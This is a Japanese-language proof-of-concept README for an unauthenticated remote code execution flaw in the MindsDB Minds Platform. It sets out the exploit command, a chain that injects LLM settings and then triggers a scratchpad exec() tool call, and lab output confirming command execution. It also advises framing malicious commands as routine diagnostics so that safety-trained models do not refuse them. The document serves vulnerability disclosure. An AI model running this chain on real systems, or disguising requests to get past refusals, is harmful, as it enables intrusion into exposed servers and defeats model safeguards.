CVE-2026-73678 — MindsDB Minds Platform 未認証RCE（CVSS 10.0）

CVSS 10.0（緊急） · CWE-94 / CWE-306 · GHSA-jcxw-h8ph-pxpv · VulnCheck

概要

Minds Platform（mindsdb/mindshub のオープンソースバックエンド。旧称 mindsdb/minds-platform）は、POST /api/v1/responses/（OpenAI互換のResponses API、ポート 26866）を一切の認証なしで公開しています。認証ミドルウェアは存在しません — Bearerチェックもセッションも何もありません。サーバーは緩いCORSミドルウェア（allow_origins=["*"], allow_credentials=True）をインストールするだけです。

したがって、未認証の攻撃者は以下を行うことができます:

独自のLLM設定を注入する: PUT /api/v1/settings/{key}（openai_api_key、openai_base_url、planning_provider、coding_provider、*_model）— トークンは不要で、すべてのリクエストは200を返します。
細工したプロンプトを送信する: POST /api/v1/responses/ → ResponsesHandler.handle() → AntonのChatSession.turn_stream(input)
（攻撃者が制御する）LLMが、組み込みの**scratchpadツールの関数呼び出し**（action: "exec"）を返します。handle_scratchpad → prepare_scratchpad_exec → ScratchpadManager → LocalScratchpadRuntime → scratchpad_boot.py:
```
compiled = compile(code, "<scratchpad>", "exec")
exec(compiled, namespace)   # arbitrary Python → arbitrary OS commands
```

LLMエンドポイントは攻撃者が選択する（BYOK）ため、攻撃者はモデルに任意のスクラッチパッドコードを返させることができます — モデルの協力や強制は不要です。唯一の前提条件は、動作するOpenAI互換のLLM APIキーです。

影響を受けるバージョン: ≤ v26.1.0（脆弱なコードは2026-06-08に追加、「Fresh #12461」） パッチ: なし — GHSAにはパッチ済みバージョンの記載はなく、exec() は main に残っています（任意であり、デフォルトでは無効の COWORK_REQUIRE_AUTH Bearerミドルウェアとorg-modeのスコープチェックのみが存在します）。

エクスプロイト

python3 poc_cve-2026-73678.py \
  --target http://TARGET:26866 \
  --api-key sk-YOUR_OWN_KEY \
  --base-url https://api.openai.com/v1 \
  --model gpt-4o

PoCの手順:

認証不要の PUT /api/v1/settings/* で攻撃者設定を書き込む
無害そうな「システム診断」プロンプトを送信する（スクラッチパッドの exec で uname -a + hostname を実行）
LLMの応答を報告する。ホスト上で cat /tmp/system_info.txt を確認する

プロンプトエンジニアリングの注意: 強力な安全性トレーニングを受けたモデルは、明らかに悪意のあるコマンド（例: 「pwn」を含むファイル名）を拒否する可能性があります。リクエストを日常的なメンテナンス（システム診断、ヘルスチェック）として装ってください — スクラッチパッドはモデルが提供するコードを何でも実行します。

検証（2026-08-16、Dockerラボ、ARM64）

実際のLLMプロバイダー（OpenCode Zen、minimax-m3）を使用した、cowork-server==0.26.6.26.1 に対する実際のエンドツーエンドチェーン:

== [1] AUTH-FREE SETTINGS INJECTION ==
  PUT /api/v1/settings/openai_api_key:     HTTP 200
  PUT /api/v1/settings/openai_base_url:    HTTP 200
  PUT /api/v1/settings/planning_provider:  HTTP 200
  PUT /api/v1/settings/coding_provider:    HTTP 200
  PUT /api/v1/settings/planning_model:     HTTP 200
  PUT /api/v1/settings/coding_model:       HTTP 200

== [2] CRAFTED PROMPT -> POST /api/v1/responses/ ==
  HTTP 200 (15.6s) — LLM called the scratchpad tool

== [3] COMMAND EXECUTION CONFIRMED ==
  /tmp/system_info.txt inside the container:
    Linux 95d5d7fa74f6 6.12.75+rpt-rpi-2712 ... aarch64 GNU/Linux
    95d5d7fa74f6

いかなる時点でもトークンは送信されませんでした。uname -a の出力は、スクラッチパッドの exec によってターゲットコンテナ内で生成されました — 未認証のリモート攻撃者による任意のOSコマンド実行です。

影響

公開された任意のMinds Platformインスタンス（デフォルトポート26866）に対する未認証のリモートコード実行。
CORSワイルドカード + 資格情報により、悪意のあるウェブサイトが被害者のブラウザからチェーンをトリガーすることも可能です（ドライブバイ / DNSリバインディング）。
認証不要の追加サーフェス: GET /api/v1/settings/reveal-key/{name} は設定済みシークレットを漏洩します。POST /api/v1/settings/raw は ~/.anton/.env に書き込みます。

参照

GHSA: https://github.com/mindsdb/minds-platform/security/advisories/GHSA-jcxw-h8ph-pxpv
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-73678
VulnCheck: https://www.vulncheck.com/advisories/mindsdb-minds-platform-unauthenticated-rce-via-scratchpad-exec
プロジェクト: https://github.com/mindsdb/minds-platform（現在は mindsdb/mindshub）

CVE-2026-73678-PoC

人気